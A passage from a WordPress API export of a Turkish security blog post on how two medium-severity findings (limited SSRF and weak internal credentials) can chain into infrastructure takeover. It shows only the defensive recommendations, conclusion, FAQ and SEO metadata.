etkinli\u011fini test edin.<\/li>\n<li><strong>G\u00fcvenlik Fark\u0131ndal\u0131\u011f\u0131 E\u011fitimi:<\/strong> Geli\u015ftiriciler ve sistem y\u00f6neticileri dahil t\u00fcm \u00e7al\u0131\u015fanlar\u0131n g\u00fcvenlik konusunda bilin\u00e7li olmas\u0131n\u0131 sa\u011flay\u0131n.<\/li>\n<\/ul>\n<p>Bu stratejilerin birle\u015fimi, orta seviyeli bulgular\u0131n zincirlenerek kritik bir sald\u0131r\u0131ya d\u00f6n\u00fc\u015fme riskini \u00f6nemli \u00f6l\u00e7\u00fcde azaltacakt\u0131r. Her bir katman\u0131n g\u00fc\u00e7l\u00fc olmas\u0131, genel g\u00fcvenlik duru\u015funu g\u00fc\u00e7lendirir.<\/p>\n<h2>Sonu\u00e7<\/h2>\n<p>Bu makalede, iki ayr\u0131 \"orta\" seviyeli g\u00fcvenlik bulgusunun (s\u0131n\u0131rl\u0131 SSRF ve dahili bir serviste zay\u0131f kimlik bilgileri) nas\u0131l bir araya gelerek tam bir altyap\u0131 ele ge\u00e7irme sald\u0131r\u0131s\u0131na yol a\u00e7abilece\u011fini detayl\u0131 bir senaryo ile inceledik. Bu \u00f6rnek, siber g\u00fcvenlikte \"orta\" seviyeli bulgular\u0131n asla g\u00f6z ard\u0131 edilmemesi gerekti\u011fini ve potansiyel zincirleme etkilerinin her zaman de\u011ferlendirilmesi gerekti\u011fini a\u00e7\u0131k\u00e7a g\u00f6stermektedir. G\u00fcvenlik ekiplerinin, tek tek zafiyetlerin \u00f6tesine ge\u00e7erek, bunlar\u0131n birle\u015fiminden do\u011fabilecek riskleri analiz etmeleri hayati \u00f6nem ta\u015f\u0131r. Derinlemesine savunma, s\u0131k\u0131 eri\u015fim kontrol\u00fc, g\u00fcvenli yap\u0131land\u0131rmalar ve s\u00fcrekli denetimler gibi proaktif g\u00fcvenlik stratejileri, bu t\u00fcr y\u0131k\u0131c\u0131 sald\u0131r\u0131lar\u0131 \u00f6nlemenin anahtar\u0131d\u0131r. Unutmay\u0131n, bir sald\u0131rgan i\u00e7in en zay\u0131f halka, genellikle en az dikkat \u00e7eken orta seviyeli bir bulgudur.<\/p>\n<h2>S\u0131k\u00e7a Sorulan Sorular (SSS)<\/h2>\n<h3>Orta seviyeli bulgular neden tehlikelidir?<\/h3>\n<h3>Orta seviyeli bulgular neden tehlikelidir?<\/h3>\n<p>Orta seviyeli bulgular, tek ba\u015f\u0131na do\u011frudan kritik bir tehdit olu\u015fturmasalar da, di\u011fer zafiyetlerle birle\u015ftirildi\u011finde (zincirlendi\u011finde) \u00e7ok daha ciddi sonu\u00e7lar do\u011furabilirler. Genellikle bilgi s\u0131zd\u0131rma, zay\u0131f eri\u015fim kontrol\u00fc veya s\u0131n\u0131rl\u0131 i\u015flevsellik istismar\u0131 gibi potansiyel riskler ta\u015f\u0131rlar. Bu potansiyel, bir sald\u0131rgan\u0131n i\u00e7 a\u011f hakk\u0131nda bilgi edinmesine, yanal hareket etmesine veya daha kritik sistemlere eri\u015fim sa\u011flamas\u0131na olanak tan\u0131r.<\/p>\n<h3>Bu t\u00fcr zincirleme sald\u0131r\u0131lar nas\u0131l tespit edilebilir?<\/h3>\n<p>Zincirleme sald\u0131r\u0131lar\u0131 tespit etmek, tek tek zafiyetleri bulmaktan daha zordur. Bunun i\u00e7in kapsaml\u0131 g\u00fcvenlik denetimleri, manuel penetrasyon testleri ve k\u0131rm\u0131z\u0131 tak\u0131m tatbikatlar\u0131 gereklidir. Otomatik ara\u00e7lar tek tek zafiyetleri bulsa da, bunlar\u0131n nas\u0131l birle\u015ftirilece\u011fini anlamak insan uzmanl\u0131\u011f\u0131 gerektirir. Ayr\u0131ca, g\u00fcvenlik olaylar\u0131n\u0131 (SIEM) ve a\u011f trafi\u011fini s\u00fcrekli izlemek, anormallikleri ve \u015f\u00fcpheli etkinlikleri erken a\u015famada tespit etmeye yard\u0131mc\u0131 olabilir.<\/p>\n<h3>Geli\u015ftiriciler ve sistem y\u00f6neticileri ne yapmal\u0131?<\/h3>\n<p>Geli\u015ftiriciler, g\u00fcvenli kodlama prensiplerini benimsemeli, girdi do\u011frulamas\u0131n\u0131 s\u0131k\u0131la\u015ft\u0131rmal\u0131 ve potansiyel SSRF gibi zafiyetlere kar\u015f\u0131 dikkatli olmal\u0131d\u0131r. Sistem y\u00f6neticileri ise t\u00fcm sistemlerin varsay\u0131lan kimlik bilgilerini de\u011fi\u015ftirmeli, g\u00fc\u00e7l\u00fc \u015fifre politikalar\u0131 uygulamal\u0131, \u00e7ok fakt\u00f6rl\u00fc kimlik do\u011frulamay\u0131 etkinle\u015ftirmeli, a\u011f segmentasyonu yapmal\u0131 ve t\u00fcm yaz\u0131l\u0131mlar\u0131 d\u00fczenli olarak g\u00fcncel tutmal\u0131d\u0131r. Ayr\u0131ca, dahili servislerin d\u0131\u015f d\u00fcnyaya kapal\u0131 olsa bile s\u0131k\u0131 g\u00fcvenlik kontrollerine tabi tutulmas\u0131 \u00f6nemlidir.<\/p>\n<h3>Bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131n\u0131n \"orta\" olarak derecelendirilmesi her zaman do\u011fru mudur?<\/h3>\n<p>Hay\u0131r, her zaman do\u011fru olmayabilir. G\u00fcvenlik a\u00e7\u0131\u011f\u0131 derecelendirmeleri (CVSS gibi), genellikle tek bir zafiyetin do\u011frudan etkisine odaklan\u0131r. Ancak, bir zafiyetin ba\u011flam\u0131 ve di\u011fer zafiyetlerle birle\u015fme potansiyeli, ger\u00e7ek riskini \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131rabilir. Bu nedenle, g\u00fcvenlik analistlerinin, her bulgunun potansiyel zincirleme etkilerini de\u011ferlendirerek, risk derecelendirmelerini duruma g\u00f6re ayarlamalar\u0131 \u00f6nemlidir. Bir \"orta\" bulgu, belirli bir senaryoda \"y\u00fcksek\" veya \"kritik\" bir riske d\u00f6n\u00fc\u015febilir.<\/p>\n","protected":false},"excerpt":{"rendered":"Siber g\u00fcvenlik d\u00fcnyas\u0131nda, tek ba\u015f\u0131na &#8220;orta&#8221; \u015fiddette derecelendirilen bulgular genellikle acil \u00f6ncelik listesinin alt s\u0131ralar\u0131nda yer al\u0131r ve baze&#8230;","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"csco_page_header_type":"","csco_page_load_nextpost":"","csco_page_subscribe_form":"","csco_page_contact_form":"","footnotes":""},"categories":[1],"tags":[],"class_list":{"0":"post-38698","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-genel","7":"cs-entry","8":"cs-video-wrap"},"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.5 (Yoast SEO v25.3.1) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri\" \/>\n<meta property=\"og:description\" content=\"Siber g\u00fcvenlik d\u00fcnyas\u0131nda, tek ba\u015f\u0131na &quot;orta&quot; \u015fiddette derecelendirilen bulgular genellikle acil \u00f6ncelik listesinin alt s\u0131ralar\u0131nda yer al\u0131r ve baze...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/\" \/>\n<meta property=\"og:site_name\" content=\"Kodlar\u0131n Gizemli D\u00fcnyas\u0131\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-05T16:31:25+00:00\" \/>\n<meta name=\"author\" content=\"Fatih Soysal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"Fatih Soysal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/\"},\"author\":{\"name\":\"Fatih Soysal\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"headline\":\"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri\",\"datePublished\":\"2026-02-05T16:31:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/\"},\"wordCount\":3204,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#respond\"]}],\"copyrightYear\":\"2026\",\"copyrightHolder\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/\",\"name\":\"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131\",\"isPartOf\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\"},\"datePublished\":\"2026-02-05T16:31:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\/\/fatihsoysal.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#website\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/\",\"name\":\"Fatihsoysal.com\",\"description\":\"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim\",\"publisher\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1\",\"name\":\"Fatih Soysal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"contentUrl\":\"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png\",\"width\":512,\"height\":512,\"caption\":\"Fatih Soysal\"},\"logo\":{\"@id\":\"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/\"},\"description\":\"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.\",\"url\":\"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/","og_locale":"tr_TR","og_type":"article","og_title":"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri","og_description":"Siber g\u00fcvenlik d\u00fcnyas\u0131nda, tek ba\u015f\u0131na \"orta\" \u015fiddette derecelendirilen bulgular genellikle acil \u00f6ncelik listesinin alt s\u0131ralar\u0131nda yer al\u0131r ve baze...","og_url":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/","og_site_name":"Kodlar\u0131n Gizemli D\u00fcnyas\u0131","article_published_time":"2026-02-05T16:31:25+00:00","author":"Fatih Soysal","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"Fatih Soysal","Tahmini okuma s\u00fcresi":"16 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#article","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/"},"author":{"name":"Fatih Soysal","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"headline":"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri","datePublished":"2026-02-05T16:31:25+00:00","mainEntityOfPage":{"@id":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/"},"wordCount":3204,"commentCount":0,"publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#respond"]}],"copyrightYear":"2026","copyrightHolder":{"@id":"https:\/\/fatihsoysal.com\/blog\/#organization"}},{"@type":"WebPage","@id":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/","url":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/","name":"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri - Kodlar\u0131n Gizemli D\u00fcnyas\u0131","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/#website"},"datePublished":"2026-02-05T16:31:25+00:00","breadcrumb":{"@id":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fatihsoysal.com\/blog\/orta-seviyeli-iki-bulgunun-tam-altyapi-ele-gecirme-zinciri\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/fatihsoysal.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Orta Seviyeli \u0130ki Bulgunun Tam Altyap\u0131 Ele Ge\u00e7irme Zinciri"}]},{"@type":"WebSite","@id":"https:\/\/fatihsoysal.com\/blog\/#website","url":"https:\/\/fatihsoysal.com\/blog\/","name":"Fatihsoysal.com","description":"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim","publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1","name":"Fatih Soysal","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","contentUrl":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","width":512,"height":512,"caption":"Fatih Soysal"},"logo":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/"},"description":"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.","url":"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/"}]}},"yoast_meta":{"yoast_wpseo_title":"","yoast_wpseo_metadesc":"","yoast_wpseo_canonical":""},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/38698","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/comments?post=38698"}],"version-history":[{"count":0,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/38698\/revisions"}],"wp:attachment":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/media?parent=38698"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/categories?post=38698"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/tags?post=38698"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}